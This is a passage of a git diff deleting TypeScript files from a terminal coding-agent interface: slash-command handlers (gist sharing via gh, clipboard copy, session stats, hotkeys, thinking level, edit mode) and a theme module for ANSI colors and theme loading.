fs.unlinkSync(tmpFile); - } catch { - // Ignore cleanup errors - } - }; - - // Create a secret gist asynchronously - let proc: ReturnType | null = null; - - loader.onAbort = () => { - proc?.kill(); - restoreEditor(); - ctx.showStatus("Share cancelled"); - }; - - try { - const result = await new Promise<{ - stdout: string; - stderr: string; - code: number | null; - }>((resolve) => { - proc = spawn("gh", ["gist", "create", "--public=false", tmpFile], { - shell: process.platform === "win32", - }); - let stdout = ""; - let stderr = ""; - proc.stdout?.on("data", (data) => { - stdout += data.toString(); - }); - proc.stderr?.on("data", (data) => { - stderr += data.toString(); - }); - proc.on("close", (code) => resolve({ stdout, stderr, code })); - }); - - if (loader.signal.aborted) return; - - restoreEditor(); - - if (result.code !== 0) { - const errorMsg = result.stderr?.trim() || "Unknown error"; - ctx.showError(`Failed to create gist: ${errorMsg}`); - return; - } - - // Extract gist ID from the URL returned by gh - // gh returns something like: https://gist.github.com/username/GIST_ID - const gistUrl = result.stdout?.trim(); - const gistId = gistUrl?.split("/").pop(); - if (!gistId) { - ctx.showError("Failed to parse gist ID from gh output"); - return; - } - - // Create the preview URL - const previewUrl = getShareViewerUrl(gistId); - ctx.showStatus(`Share URL: ${previewUrl}\nGist: ${gistUrl}`); - } catch (error: unknown) { - if (!loader.signal.aborted) { - restoreEditor(); - ctx.showError( - `Failed to create gist: ${error instanceof Error ? error.message : "Unknown error"}`, - ); - } - } -} - -function handleCopyCommand(ctx: SlashCommandContext): void { - const text = ctx.session.getLastAssistantText(); - if (!text) { - ctx.showError("No agent messages to copy yet."); - return; - } - - try { - copyToClipboard(text); - ctx.showStatus("Copied last agent message to clipboard"); - } catch (error) { - ctx.showError(error instanceof Error ? error.message : String(error)); - } -} - -function handleNameCommand(text: string, ctx: SlashCommandContext): void { - const name = text.replace(/^\/name\s*/, "").trim(); - if (!name) { - const currentName = ctx.sessionManager.getSessionName(); - if (currentName) { - ctx.chatContainer.addChild(new Spacer(1)); - ctx.chatContainer.addChild( - new Text(theme.fg("dim", `Session name: ${currentName}`), 1, 0), - ); - } else { - ctx.showWarning("Usage: /name "); - } - ctx.requestRender(); - return; - } - - ctx.sessionManager.appendSessionInfo(name); - ctx.updateTerminalTitle(); - ctx.chatContainer.addChild(new Spacer(1)); - ctx.chatContainer.addChild( - new Text(theme.fg("dim", `Session name set: ${name}`), 1, 0), - ); - ctx.requestRender(); -} - -function handleSessionCommand(ctx: SlashCommandContext): void { - const stats = ctx.session.getSessionStats(); - const sessionName = ctx.sessionManager.getSessionName(); - - let info = `${theme.bold("Session Info")}\n\n`; - if (sessionName) { - info += `${theme.fg("dim", "Name:")} ${sessionName}\n`; - } - info += `${theme.fg("dim", "File:")} ${stats.sessionFile ?? "In-memory"}\n`; - info += `${theme.fg("dim", "ID:")} ${stats.sessionId}\n\n`; - info += `${theme.bold("Messages")}\n`; - info += `${theme.fg("dim", "User:")} ${stats.userMessages}\n`; - info += `${theme.fg("dim", "Assistant:")} ${stats.assistantMessages}\n`; - info += `${theme.fg("dim", "Tool Calls:")} ${stats.toolCalls}\n`; - info += `${theme.fg("dim", "Tool Results:")} ${stats.toolResults}\n`; - info += `${theme.fg("dim", "Total:")} ${stats.totalMessages}\n\n`; - info += `${theme.bold("Tokens")}\n`; - info += `${theme.fg("dim", "Input:")} ${stats.tokens.input.toLocaleString()}\n`; - info += `${theme.fg("dim", "Output:")} ${stats.tokens.output.toLocaleString()}\n`; - if (stats.tokens.cacheRead > 0) { - info += `${theme.fg("dim", "Cache Read:")} ${stats.tokens.cacheRead.toLocaleString()}\n`; - } - if (stats.tokens.cacheWrite > 0) { - info += `${theme.fg("dim", "Cache Write:")} ${stats.tokens.cacheWrite.toLocaleString()}\n`; - } - info += `${theme.fg("dim", "Total:")} ${stats.tokens.total.toLocaleString()}\n`; - - if (stats.cost > 0) { - info += `\n${theme.bold("Cost")}\n`; - info += `${theme.fg("dim", "Total:")} ${stats.cost.toFixed(4)}`; - } - - ctx.chatContainer.addChild(new Spacer(1)); - ctx.chatContainer.addChild(new Text(info, 1, 0)); - ctx.requestRender(); -} - -function handleChangelogCommand(ctx: SlashCommandContext): void { - const changelogPath = getChangelogPath(); - const allEntries = parseChangelog(changelogPath); - - const changelogMarkdown = - allEntries.length > 0 - ? allEntries - .reverse() - .map((e) => e.content) - .join("\n\n") - : "No changelog entries found."; - - ctx.chatContainer.addChild(new Spacer(1)); - ctx.chatContainer.addChild(new DynamicBorder()); - ctx.chatContainer.addChild( - new Text(theme.bold(theme.fg("accent", "What's New")), 1, 0), - ); - ctx.chatContainer.addChild(new Spacer(1)); - ctx.chatContainer.addChild( - new Markdown(changelogMarkdown, 1, 1, ctx.getMarkdownThemeWithSettings()), - ); - ctx.chatContainer.addChild(new DynamicBorder()); - ctx.requestRender(); -} - -// --------------------------------------------------------------------------- -// /hotkeys helpers -// --------------------------------------------------------------------------- - -export function capitalizeKey(key: string): string { - return key - .split("/") - .map((k) => - k - .split("+") - .map((part) => part.charAt(0).toUpperCase() + part.slice(1)) - .join("+"), - ) - .join("/"); -} - -export function getAppKeyDisplay( - keybindings: KeybindingsManager, - action: AppAction, -): string { - return capitalizeKey(appKey(keybindings, action)); -} - -function getEditorKeyDisplay(action: EditorAction): string { - return capitalizeKey(editorKey(action)); -} - -function handleHotkeysCommand(ctx: SlashCommandContext): void { - // Navigation keybindings - const cursorWordLeft = getEditorKeyDisplay("cursorWordLeft"); - const cursorWordRight = getEditorKeyDisplay("cursorWordRight"); - const cursorLineStart = getEditorKeyDisplay("cursorLineStart"); - const cursorLineEnd = getEditorKeyDisplay("cursorLineEnd"); - const jumpForward = getEditorKeyDisplay("jumpForward"); - const jumpBackward = getEditorKeyDisplay("jumpBackward"); - const pageUp = getEditorKeyDisplay("pageUp"); - const pageDown = getEditorKeyDisplay("pageDown"); - - // Editing keybindings - const submit = getEditorKeyDisplay("submit"); - const newLine = getEditorKeyDisplay("newLine"); - const deleteWordBackward = getEditorKeyDisplay("deleteWordBackward"); - const deleteWordForward = getEditorKeyDisplay("deleteWordForward"); - const deleteToLineStart = getEditorKeyDisplay("deleteToLineStart"); - const deleteToLineEnd = getEditorKeyDisplay("deleteToLineEnd"); - const yank = getEditorKeyDisplay("yank"); - const yankPop = getEditorKeyDisplay("yankPop"); - const undo = getEditorKeyDisplay("undo"); - const tab = getEditorKeyDisplay("tab"); - - // App keybindings - const interrupt = getAppKeyDisplay(ctx.keybindings, "interrupt"); - const clear = getAppKeyDisplay(ctx.keybindings, "clear"); - const exit = getAppKeyDisplay(ctx.keybindings, "exit"); - const suspend = getAppKeyDisplay(ctx.keybindings, "suspend"); - const cycleThinkingLevel = getAppKeyDisplay( - ctx.keybindings, - "cycleThinkingLevel", - ); - const cycleModelForward = getAppKeyDisplay( - ctx.keybindings, - "cycleModelForward", - ); - const cycleModelBackward = getAppKeyDisplay( - ctx.keybindings, - "cycleModelBackward", - ); - const selectModel = getAppKeyDisplay(ctx.keybindings, "selectModel"); - const expandTools = getAppKeyDisplay(ctx.keybindings, "expandTools"); - const toggleThinking = getAppKeyDisplay(ctx.keybindings, "toggleThinking"); - const externalEditor = getAppKeyDisplay(ctx.keybindings, "externalEditor"); - const followUp = getAppKeyDisplay(ctx.keybindings, "followUp"); - const dequeue = getAppKeyDisplay(ctx.keybindings, "dequeue"); - const pasteImage = getAppKeyDisplay(ctx.keybindings, "pasteImage"); - - let hotkeys = ` -**Navigation** -| Key | Action | -|-----|--------| -| \`Arrow keys\` | Move cursor / browse history (Up when empty) | -| \`${cursorWordLeft}\` / \`${cursorWordRight}\` | Move by word | -| \`${cursorLineStart}\` | Start of line | -| \`${cursorLineEnd}\` | End of line | -| \`${jumpForward}\` | Jump forward to character | -| \`${jumpBackward}\` | Jump backward to character | -| \`${pageUp}\` / \`${pageDown}\` | Scroll by page | - -**Editing** -| Key | Action | -|-----|--------| -| \`${submit}\` | Send message | -| \`${newLine}\` | New line${process.platform === "win32" ? " (Ctrl+Enter on Windows Terminal)" : ""} | -| \`${deleteWordBackward}\` | Delete word backwards | -| \`${deleteWordForward}\` | Delete word forwards | -| \`${deleteToLineStart}\` | Delete to start of line | -| \`${deleteToLineEnd}\` | Delete to end of line | -| \`${yank}\` | Paste the most-recently-deleted text | -| \`${yankPop}\` | Cycle through the deleted text after pasting | -| \`${undo}\` | Undo | - -**Other** -| Key | Action | -|-----|--------| -| \`${tab}\` | Path completion / accept autocomplete | -| \`${interrupt}\` | Cancel autocomplete / abort streaming | -| \`${clear}\` | Clear editor (first) / exit (second) | -| \`${exit}\` | Exit (when editor is empty) | -| \`${suspend}\` | Suspend to background | -| \`${cycleThinkingLevel}\` | Cycle thinking level | -| \`${cycleModelForward}\` / \`${cycleModelBackward}\` | Cycle models | -| \`${selectModel}\` | Open model selector | -| \`${expandTools}\` | Toggle tool output expansion | -| \`${toggleThinking}\` | Toggle thinking block visibility | -| \`${externalEditor}\` | Edit message in external editor | -| \`${followUp}\` | Queue follow-up message | -| \`${dequeue}\` | Restore queued messages | -| \`${pasteImage}\` | Paste image from clipboard | -| \`/\` | Slash commands | -| \`!\` | Run bash command | -| \`!!\` | Run bash command (excluded from context) | -`; - - // Add extension-registered shortcuts - const extensionRunner = ctx.session.extensionRunner; - if (extensionRunner) { - const shortcuts = extensionRunner.getShortcuts( - ctx.keybindings.getEffectiveConfig(), - ); - if (shortcuts.size > 0) { - hotkeys += ` -**Extensions** -| Key | Action | -|-----|--------| -`; - for (const [key, shortcut] of shortcuts) { - const description = shortcut.description ?? shortcut.extensionPath; - const keyDisplay = formatKeyForDisplay(key).replace(/\b\w/g, (c) => - c.toUpperCase(), - ); - hotkeys += `| \`${keyDisplay}\` | ${description} |\n`; - } - } - } - - ctx.chatContainer.addChild(new Spacer(1)); - ctx.chatContainer.addChild(new DynamicBorder()); - ctx.chatContainer.addChild( - new Text(theme.bold(theme.fg("accent", "Keyboard Shortcuts")), 1, 0), - ); - ctx.chatContainer.addChild(new Spacer(1)); - ctx.chatContainer.addChild( - new Markdown(hotkeys.trim(), 1, 1, ctx.getMarkdownThemeWithSettings()), - ); - ctx.chatContainer.addChild(new DynamicBorder()); - ctx.requestRender(); -} - -async function handleCompactCommand( - customInstructions: string | undefined, - ctx: SlashCommandContext, -): Promise { - const entries = ctx.sessionManager.getEntries(); - const messageCount = entries.filter((e) => e.type === "message").length; - - if (messageCount < 2) { - ctx.showWarning("Nothing to compact (no messages yet)"); - return; - } - - await ctx.executeCompaction(customInstructions, false); -} - -function handleThinkingCommand( - arg: string | undefined, - ctx: SlashCommandContext, -): void { - if (!ctx.session.supportsThinking()) { - ctx.showStatus("Current model does not support thinking"); - return; - } - - const availableLevels = ctx.session.getAvailableThinkingLevels(); - - if (arg) { - const level = arg.toLowerCase(); - if (!availableLevels.includes(level as ThinkingLevel)) { - ctx.showStatus( - `Invalid thinking level "${arg}". Available: ${availableLevels.join(", ")}`, - ); - return; - } - ctx.session.setThinkingLevel(level as ThinkingLevel); - ctx.invalidateFooter(); - ctx.updateEditorBorderColor(); - ctx.showStatus(`Thinking level: ${level}`); - return; - } - - showThinkingSelector(ctx, availableLevels); -} - -function showThinkingSelector( - ctx: SlashCommandContext, - availableLevels: readonly ThinkingLevel[], -): void { - ctx.showSelector((done) => { - const selector = new SelectSubmenu( - "Thinking Level", - "Select reasoning depth for thinking-capable models", - availableLevels.map((level) => ({ - value: level, - label: level, - description: THINKING_DESCRIPTIONS[level], - })), - ctx.session.thinkingLevel, - (value) => { - ctx.session.setThinkingLevel(value as ThinkingLevel); - ctx.invalidateFooter(); - ctx.updateEditorBorderColor(); - done(); - ctx.showStatus(`Thinking level: ${value}`); - }, - () => { - done(); - }, - ); - return { component: selector, focus: selector }; - }); -} - -function handleEditModeCommand( - arg: string | undefined, - ctx: SlashCommandContext, -): void { - const modes = ["standard", "hashline"] as const; - - if (arg) { - const mode = arg.toLowerCase(); - if (!modes.includes(mode as (typeof modes)[number])) { - ctx.showStatus( - `Invalid edit mode "${arg}". Available: standard, hashline`, - ); - return; - } - ctx.session.setEditMode(mode as "standard" | "hashline"); - ctx.showStatus( - `Edit mode: ${mode}${mode === "hashline" ? " (LINE#ID anchored edits)" : " (text-match edits)"}`, - ); - return; - } - - // Toggle - const current = ctx.session.editMode; - const next = current === "standard" ? "hashline" : "standard"; - ctx.session.setEditMode(next); - ctx.showStatus( - `Edit mode: ${next}${next === "hashline" ? " (LINE#ID anchored edits)" : " (text-match edits)"}`, - ); -} - -function handleArminSaysHi(ctx: SlashCommandContext): void { - ctx.chatContainer.addChild(new Spacer(1)); - ctx.chatContainer.addChild(new ArminComponent(ctx.ui)); - ctx.requestRender(); -} diff --git a/packages/pi-coding-agent/src/modes/interactive/theme/theme.ts b/packages/pi-coding-agent/src/modes/interactive/theme/theme.ts deleted file mode 100644 index d6cae5635..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/theme/theme.ts +++ /dev/null @@ -1,1139 +0,0 @@ -import * as fs from "node:fs"; -import * as path from "node:path"; -import { type Static, Type } from "@sinclair/typebox"; -import { TypeCompiler } from "@sinclair/typebox/compiler"; -import { - type HighlightColors, - highlightCode as nativeHighlightCode, - supportsLanguage, -} from "@singularity-forge/native"; -import type { - EditorTheme, - MarkdownTheme, - SelectListTheme, -} from "@singularity-forge/pi-tui"; -import chalk from "chalk"; -import { getCustomThemesDir } from "../../../config.js"; -import { builtinThemes } from "./themes.js"; - -// Issue #453: native preview highlighting can wedge the entire interactive -// session after a successful file tool. Keep the safer plain-text path as the -// default and allow native highlighting only as an explicit opt-in. -const NATIVE_TUI_HIGHLIGHT_ENABLED = - process.env.SF_ENABLE_NATIVE_TUI_HIGHLIGHT === "1"; - -// ============================================================================ -// Types & Schema -// ============================================================================ - -const ColorValueSchema = Type.Union([ - Type.String(), // hex "#ff0000", var ref "primary", or empty "" - Type.Integer({ minimum: 0, maximum: 255 }), // 256-color index -]); - -type ColorValue = Static; - -const ThemeJsonSchema = Type.Object({ - $schema: Type.Optional(Type.String()), - name: Type.String(), - vars: Type.Optional(Type.Record(Type.String(), ColorValueSchema)), - colors: Type.Object({ - // Core UI (10 colors) - accent: ColorValueSchema, - border: ColorValueSchema, - borderAccent: ColorValueSchema, - borderMuted: ColorValueSchema, - success: ColorValueSchema, - error: ColorValueSchema, - warning: ColorValueSchema, - muted: ColorValueSchema, - dim: ColorValueSchema, - text: ColorValueSchema, - thinkingText: ColorValueSchema, - // Backgrounds & Content Text (11 colors) - selectedBg: ColorValueSchema, - userMessageBg: ColorValueSchema, - userMessageText: ColorValueSchema, - customMessageBg: ColorValueSchema, - customMessageText: ColorValueSchema, - customMessageLabel: ColorValueSchema, - toolPendingBg: ColorValueSchema, - toolSuccessBg: ColorValueSchema, - toolErrorBg: ColorValueSchema, - toolTitle: ColorValueSchema, - toolOutput: ColorValueSchema, - // Markdown (10 colors) - mdHeading: ColorValueSchema, - mdLink: ColorValueSchema, - mdLinkUrl: ColorValueSchema, - mdCode: ColorValueSchema, - mdCodeBlock: ColorValueSchema, - mdCodeBlockBorder: ColorValueSchema, - mdQuote: ColorValueSchema, - mdQuoteBorder: ColorValueSchema, - mdHr: ColorValueSchema, - mdListBullet: ColorValueSchema, - // Tool Diffs (3 colors) - toolDiffAdded: ColorValueSchema, - toolDiffRemoved: ColorValueSchema, - toolDiffContext: ColorValueSchema, - // Syntax Highlighting (9 colors) - syntaxComment: ColorValueSchema, - syntaxKeyword: ColorValueSchema, - syntaxFunction: ColorValueSchema, - syntaxVariable: ColorValueSchema, - syntaxString: ColorValueSchema, - syntaxNumber: ColorValueSchema, - syntaxType: ColorValueSchema, - syntaxOperator: ColorValueSchema, - syntaxPunctuation: ColorValueSchema, - // Thinking Level Borders (6 colors) - thinkingOff: ColorValueSchema, - thinkingMinimal: ColorValueSchema, - thinkingLow: ColorValueSchema, - thinkingMedium: ColorValueSchema, - thinkingHigh: ColorValueSchema, - thinkingXhigh: ColorValueSchema, - // Bash Mode (1 color) - bashMode: ColorValueSchema, - }), - export: Type.Optional( - Type.Object({ - pageBg: Type.Optional(ColorValueSchema), - cardBg: Type.Optional(ColorValueSchema), - infoBg: Type.Optional(ColorValueSchema), - }), - ), -}); - -export type ThemeJson = Static; - -const validateThemeJson = TypeCompiler.Compile(ThemeJsonSchema); - -export type ThemeColor = - | "accent" - | "border" - | "borderAccent" - | "borderMuted" - | "success" - | "error" - | "warning" - | "muted" - | "dim" - | "text" - | "thinkingText" - | "userMessageText" - | "customMessageText" - | "customMessageLabel" - | "toolTitle" - | "toolOutput" - | "mdHeading" - | "mdLink" - | "mdLinkUrl" - | "mdCode" - | "mdCodeBlock" - | "mdCodeBlockBorder" - | "mdQuote" - | "mdQuoteBorder" - | "mdHr" - | "mdListBullet" - | "toolDiffAdded" - | "toolDiffRemoved" - | "toolDiffContext" - | "syntaxComment" - | "syntaxKeyword" - | "syntaxFunction" - | "syntaxVariable" - | "syntaxString" - | "syntaxNumber" - | "syntaxType" - | "syntaxOperator" - | "syntaxPunctuation" - | "thinkingOff" - | "thinkingMinimal" - | "thinkingLow" - | "thinkingMedium" - | "thinkingHigh" - | "thinkingXhigh" - | "bashMode"; - -export type ThemeBg = - | "selectedBg" - | "userMessageBg" - | "customMessageBg" - | "toolPendingBg" - | "toolSuccessBg" - | "toolErrorBg"; - -type ColorMode = "truecolor" | "256color"; - -// ============================================================================ -// Color Utilities -// ============================================================================ - -function detectColorMode(): ColorMode { - const colorterm = process.env.COLORTERM; - if (colorterm === "truecolor" || colorterm === "24bit") { - return "truecolor"; - } - // Windows Terminal supports truecolor - if (process.env.WT_SESSION) { - return "truecolor"; - } - const term = process.env.TERM || ""; - // Fall back to 256color for truly limited terminals - if (term === "dumb" || term === "" || term === "linux") { - return "256color"; - } - // Terminal.app also doesn't support truecolor - if (process.env.TERM_PROGRAM === "Apple_Terminal") { - return "256color"; - } - // GNU screen doesn't support truecolor unless explicitly opted in via COLORTERM=truecolor. - // TERM under screen is typically "screen", "screen-256color", or "screen.xterm-256color". - if ( - term === "screen" || - term.startsWith("screen-") || - term.startsWith("screen.") - ) { - return "256color"; - } - // Assume truecolor for everything else - virtually all modern terminals support it - return "truecolor"; -} - -function hexToRgb(hex: string): { r: number; g: number; b: number } { - const cleaned = hex.replace("#", ""); - if (cleaned.length !== 6) { - throw new Error(`Invalid hex color: ${hex}`); - } - const r = parseInt(cleaned.substring(0, 2), 16); - const g = parseInt(cleaned.substring(2, 4), 16); - const b = parseInt(cleaned.substring(4, 6), 16); - if (Number.isNaN(r) || Number.isNaN(g) || Number.isNaN(b)) { - throw new Error(`Invalid hex color: ${hex}`); - } - return { r, g, b }; -} - -// The 6x6x6 color cube channel values (indices 0-5) -const CUBE_VALUES = [0, 95, 135, 175, 215, 255]; - -// Grayscale ramp values (indices 232-255, 24 grays from 8 to 238) -const GRAY_VALUES = Array.from({ length: 24 }, (_, i) => 8 + i * 10); - -function findClosestCubeIndex(value: number): number { - let minDist = Infinity; - let minIdx = 0; - for (let i = 0; i < CUBE_VALUES.length; i++) { - const dist = Math.abs(value - CUBE_VALUES[i]); - if (dist < minDist) { - minDist = dist; - minIdx = i; - } - } - return minIdx; -} - -function findClosestGrayIndex(gray: number): number { - let minDist = Infinity; - let minIdx = 0; - for (let i = 0; i < GRAY_VALUES.length; i++) { - const dist = Math.abs(gray - GRAY_VALUES[i]); - if (dist < minDist) { - minDist = dist; - minIdx = i; - } - } - return minIdx; -} - -function colorDistance( - r1: number, - g1: number, - b1: number, - r2: number, - g2: number, - b2: number, -): number { - // Weighted Euclidean distance (human eye is more sensitive to green) - const dr = r1 - r2; - const dg = g1 - g2; - const db = b1 - b2; - return dr * dr * 0.299 + dg * dg * 0.587 + db * db * 0.114; -} - -function rgbTo256(r: number, g: number, b: number): number { - // Find closest color in the 6x6x6 cube - const rIdx = findClosestCubeIndex(r); - const gIdx = findClosestCubeIndex(g); - const bIdx = findClosestCubeIndex(b); - const cubeR = CUBE_VALUES[rIdx]; - const cubeG = CUBE_VALUES[gIdx]; - const cubeB = CUBE_VALUES[bIdx]; - const cubeIndex = 16 + 36 * rIdx + 6 * gIdx + bIdx; - const cubeDist = colorDistance(r, g, b, cubeR, cubeG, cubeB); - - // Find closest grayscale - const gray = Math.round(0.299 * r + 0.587 * g + 0.114 * b); - const grayIdx = findClosestGrayIndex(gray); - const grayValue = GRAY_VALUES[grayIdx]; - const grayIndex = 232 + grayIdx; - const grayDist = colorDistance(r, g, b, grayValue, grayValue, grayValue); - - // Check if color has noticeable saturation (hue matters) - // If max-min spread is significant, prefer cube to preserve tint - const maxC = Math.max(r, g, b); - const minC = Math.min(r, g, b); - const spread = maxC - minC; - - // Only consider grayscale if color is nearly neutral (spread < 10) - // AND grayscale is actually closer - if (spread < 10 && grayDist < cubeDist) { - return grayIndex; - } - - return cubeIndex; -} - -function hexTo256(hex: string): number { - const { r, g, b } = hexToRgb(hex); - return rgbTo256(r, g, b); -} - -function fgAnsi(color: string | number, mode: ColorMode): string { - if (color === "") return "\x1b[39m"; - if (typeof color === "number") return `\x1b[38;5;${color}m`; - if (color.startsWith("#")) { - if (mode === "truecolor") { - const { r, g, b } = hexToRgb(color); - return `\x1b[38;2;${r};${g};${b}m`; - } else { - const index = hexTo256(color); - return `\x1b[38;5;${index}m`; - } - } - throw new Error(`Invalid color value: ${color}`); -} - -function bgAnsi(color: string | number, mode: ColorMode): string { - if (color === "") return "\x1b[49m"; - if (typeof color === "number") return `\x1b[48;5;${color}m`; - if (color.startsWith("#")) { - if (mode === "truecolor") { - const { r, g, b } = hexToRgb(color); - return `\x1b[48;2;${r};${g};${b}m`; - } else { - const index = hexTo256(color); - return `\x1b[48;5;${index}m`; - } - } - throw new Error(`Invalid color value: ${color}`); -} - -function resolveVarRefs( - value: ColorValue, - vars: Record, - visited = new Set(), -): string | number { - if (typeof value === "number" || value === "" || value.startsWith("#")) { - return value; - } - if (visited.has(value)) { - throw new Error(`Circular variable reference detected: ${value}`); - } - if (!(value in vars)) { - throw new Error(`Variable reference not found: ${value}`); - } - visited.add(value); - return resolveVarRefs(vars[value], vars, visited); -} - -function resolveThemeColors>( - colors: T, - vars: Record = {}, -): Record { - const resolved: Record = {}; - for (const [key, value] of Object.entries(colors)) { - resolved[key] = resolveVarRefs(value, vars); - } - return resolved as Record; -} - -// ============================================================================ -// Theme Class -// ============================================================================ - -export class Theme { - readonly name?: string; - readonly sourcePath?: string; - private fgColors: Map; - private bgColors: Map; - private mode: ColorMode; - - constructor( - fgColors: Record, - bgColors: Record, - mode: ColorMode, - options: { name?: string; sourcePath?: string } = {}, - ) { - this.name = options.name; - this.sourcePath = options.sourcePath; - this.mode = mode; - this.fgColors = new Map(); - for (const [key, value] of Object.entries(fgColors) as [ - ThemeColor, - string | number, - ][]) { - this.fgColors.set(key, fgAnsi(value, mode)); - } - this.bgColors = new Map(); - for (const [key, value] of Object.entries(bgColors) as [ - ThemeBg, - string | number, - ][]) { - this.bgColors.set(key, bgAnsi(value, mode)); - } - } - - fg(color: ThemeColor, text: string): string { - const ansi = this.fgColors.get(color); - if (!ansi) throw new Error(`Unknown theme color: ${color}`); - return `${ansi}${text}\x1b[39m`; // Reset only foreground color - } - - bg(color: ThemeBg, text: string): string { - const ansi = this.bgColors.get(color); - if (!ansi) throw new Error(`Unknown theme background color: ${color}`); - return `${ansi}${text}\x1b[49m`; // Reset only background color - } - - bold(text: string): string { - return chalk.bold(text); - } - - italic(text: string): string { - return chalk.italic(text); - } - - underline(text: string): string { - return chalk.underline(text); - } - - inverse(text: string): string { - return chalk.inverse(text); - } - - strikethrough(text: string): string { - return chalk.strikethrough(text); - } - - getFgAnsi(color: ThemeColor): string { - const ansi = this.fgColors.get(color); - if (!ansi) throw new Error(`Unknown theme color: ${color}`); - return ansi; - } - - getBgAnsi(color: ThemeBg): string { - const ansi = this.bgColors.get(color); - if (!ansi) throw new Error(`Unknown theme background color: ${color}`); - return ansi; - } - - getColorMode(): ColorMode { - return this.mode; - } - - getThinkingBorderColor( - level: "off" | "minimal" | "low" | "medium" | "high" | "xhigh", - ): (str: string) => string { - // Map thinking levels to dedicated theme colors - switch (level) { - case "off": - return (str: string) => this.fg("thinkingOff", str); - case "minimal": - return (str: string) => this.fg("thinkingMinimal", str); - case "low": - return (str: string) => this.fg("thinkingLow", str); - case "medium": - return (str: string) => this.fg("thinkingMedium", str); - case "high": - return (str: string) => this.fg("thinkingHigh", str); - case "xhigh": - return (str: string) => this.fg("thinkingXhigh", str); - default: - return (str: string) => this.fg("thinkingOff", str); - } - } - - getBashModeBorderColor(): (str: string) => string { - return (str: string) => this.fg("bashMode", str); - } -} - -// ============================================================================ -// Theme Loading -// ============================================================================ - -function getBuiltinThemes(): Record { - return builtinThemes; -} - -export function getAvailableThemes(): string[] { - const themes = new Set(Object.keys(getBuiltinThemes())); - const customThemesDir = getCustomThemesDir(); - if (fs.existsSync(customThemesDir)) { - const files = fs.readdirSync(customThemesDir); - for (const file of files) { - if (file.endsWith(".json")) { - themes.add(file.slice(0, -5)); - } - } - } - for (const name of registeredThemes.keys()) { - themes.add(name); - } - return Array.from(themes).sort(); -} - -export interface ThemeInfo { - name: string; - path: string | undefined; -} - -export function getAvailableThemesWithPaths(): ThemeInfo[] { - const customThemesDir = getCustomThemesDir(); - const result: ThemeInfo[] = []; - - // Built-in themes (embedded in code, no file path) - for (const name of Object.keys(getBuiltinThemes())) { - result.push({ name, path: undefined }); - } - - // Custom themes - if (fs.existsSync(customThemesDir)) { - for (const file of fs.readdirSync(customThemesDir)) { - if (file.endsWith(".json")) { - const name = file.slice(0, -5); - if (!result.some((t) => t.name === name)) { - result.push({ name, path: path.join(customThemesDir, file) }); - } - } - } - } - - for (const [name, theme] of registeredThemes.entries()) { - if (!result.some((t) => t.name === name)) { - result.push({ name, path: theme.sourcePath }); - } - } - - return result.sort((a, b) => a.name.localeCompare(b.name)); -} - -function parseThemeJson(label: string, json: unknown): ThemeJson { - if (!validateThemeJson.Check(json)) { - const errors = Array.from(validateThemeJson.Errors(json)); - const missingColors: string[] = []; - const otherErrors: string[] = []; - - for (const e of errors) { - // Check for missing required color properties - const match = e.path.match(/^\/colors\/(\w+)$/); - if (match && e.message.includes("Required")) { - missingColors.push(match[1]); - } else { - otherErrors.push(` - ${e.path}: ${e.message}`); - } - } - - let errorMessage = `Invalid theme "${label}":\n`; - if (missingColors.length > 0) { - errorMessage += "\nMissing required color tokens:\n"; - errorMessage += missingColors.map((c) => ` - ${c}`).join("\n"); - errorMessage += - '\n\nPlease add these colors to your theme\'s "colors" object.'; - errorMessage += - "\nSee the built-in dark/light themes for reference values."; - } - if (otherErrors.length > 0) { - errorMessage += `\n\nOther errors:\n${otherErrors.join("\n")}`; - } - - throw new Error(errorMessage); - } - - return json as ThemeJson; -} - -function parseThemeJsonContent(label: string, content: string): ThemeJson { - let json: unknown; - try { - json = JSON.parse(content); - } catch (error) { - throw new Error(`Failed to parse theme ${label}: ${error}`); - } - return parseThemeJson(label, json); -} - -function loadThemeJson(name: string): ThemeJson { - const builtinThemes = getBuiltinThemes(); - if (name in builtinThemes) { - return builtinThemes[name]; - } - const registeredTheme = registeredThemes.get(name); - if (registeredTheme?.sourcePath) { - const content = fs.readFileSync(registeredTheme.sourcePath, "utf-8"); - return parseThemeJsonContent(registeredTheme.sourcePath, content); - } - if (registeredTheme) { - throw new Error(`Theme "${name}" does not have a source path for export`); - } - const customThemesDir = getCustomThemesDir(); - const themePath = path.join(customThemesDir, `${name}.json`); - if (!fs.existsSync(themePath)) { - throw new Error(`Theme not found: ${name}`); - } - const content = fs.readFileSync(themePath, "utf-8"); - return parseThemeJsonContent(name, content); -} - -function createTheme( - themeJson: ThemeJson, - mode?: ColorMode, - sourcePath?: string, -): Theme { - const colorMode = mode ?? detectColorMode(); - const resolvedColors = resolveThemeColors(themeJson.colors, themeJson.vars); - const fgColors: Record = {} as Record< - ThemeColor, - string | number - >; - const bgColors: Record = {} as Record< - ThemeBg, - string | number - >; - const bgColorKeys: Set = new Set([ - "selectedBg", - "userMessageBg", - "customMessageBg", - "toolPendingBg", - "toolSuccessBg", - "toolErrorBg", - ]); - for (const [key, value] of Object.entries(resolvedColors)) { - if (bgColorKeys.has(key)) { - bgColors[key as ThemeBg] = value; - } else { - fgColors[key as ThemeColor] = value; - } - } - return new Theme(fgColors, bgColors, colorMode, { - name: themeJson.name, - sourcePath, - }); -} - -export function loadThemeFromPath(themePath: string, mode?: ColorMode): Theme { - const content = fs.readFileSync(themePath, "utf-8"); - const themeJson = parseThemeJsonContent(themePath, content); - return createTheme(themeJson, mode, themePath); -} - -function loadTheme(name: string, mode?: ColorMode): Theme { - const registeredTheme = registeredThemes.get(name); - if (registeredTheme) { - return registeredTheme; - } - const themeJson = loadThemeJson(name); - return createTheme(themeJson, mode); -} - -export function getThemeByName(name: string): Theme | undefined { - try { - return loadTheme(name); - } catch { - return undefined; - } -} - -function detectTerminalBackground(): "dark" | "light" { - const colorfgbg = process.env.COLORFGBG || ""; - if (colorfgbg) { - const parts = colorfgbg.split(";"); - if (parts.length >= 2) { - const bg = parseInt(parts[1], 10); - if (!Number.isNaN(bg)) { - const result = bg < 8 ? "dark" : "light"; - return result; - } - } - } - return "dark"; -} - -function getDefaultTheme(): string { - return detectTerminalBackground(); -} - -// ============================================================================ -// Global Theme Instance -// ============================================================================ - -// Use globalThis to share theme across module loaders (tsx + jiti in dev mode) -const THEME_KEY = Symbol.for("@singularity-forge/pi-coding-agent:theme"); - -// Export theme as a getter that reads from globalThis -// This ensures all module instances (tsx, jiti) see the same theme -export const theme: Theme = new Proxy({} as Theme, { - get(_target, prop) { - const t = (globalThis as Record)[THEME_KEY]; - if (!t) throw new Error("Theme not 